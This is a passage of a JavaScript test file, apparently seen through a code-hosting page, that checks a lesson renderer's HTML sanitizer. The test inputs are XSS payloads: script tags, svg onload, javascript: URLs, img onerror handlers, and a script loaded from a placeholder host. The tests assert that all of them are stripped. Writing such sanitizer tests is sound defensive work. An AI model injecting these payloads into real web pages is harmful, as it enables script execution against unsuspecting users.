"<svg onload=alert(1)><circle /></svg>", "<svg><script>alert(1)</script></svg>", "<math><mi xlink:href=\"javascript:alert(1)\">x</mi></math>",
|
||||||
|
"<iframe src=\"javascript:alert(1)\"></iframe>", "<object data=\"x.swf\"></object>", "<embed src=\"x\">",
|
||||||
|
"<form action=\"javascript:alert(1)\"><button formaction=\"javascript:alert(1)\">go</button></form>",
|
||||||
|
"<script>alert(1)</script>", "<style>body{display:none}</style>", "<SCRIPT SRC=//x.example/x.js></SCRIPT>",
|
||||||
|
"<a href=\"https://ok.example\" style=\"position:fixed\" target=\"_self\">ok</a>",
|
||||||
|
].join("\n\n");
|
||||||
|
const html = renderLessonHtml(md, opts);
|
||||||
|
expectSafe(html);
|
||||||
|
expect(html).toContain('<a href="https://ok.example" target="_blank" rel="noopener noreferrer">ok</a>');
|
||||||
|
});
|
||||||
|
|
||||||
|
test("<details><summary onclick> keeps the fold but drops the handler", () => {
|
||||||
|
const html = renderLessonHtml('<details><summary onclick="alert(1)">Hint 1 — nudge</summary>\n\ntext\n\n</details>', opts);
|
||||||
|
expectSafe(html);
|
||||||
|
expect(html).toContain('<details class="fold" data-hint="1"');
|
||||||
|
expect(html).not.toContain("onclick");
|
||||||
|
const hints = renderHintsHtml([{ label: "nudge <img src=x onerror=alert(1)>", body: "<img src=x onerror=alert(1)" }], opts);
|
||||||
|
expectSafe(hints);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("generic types in prose stay visible as text", () => {
|
||||||
|
const html = renderLessonHtml("A value of type IO<A> or Stream<Action>.", opts);
|
||||||
|
expect(html).toContain("IO<A>");
|
||||||
|
expect(html).toContain("Stream<Action>");
|
||||||
|
});
|
||||||
Reference in New Issue
Block a user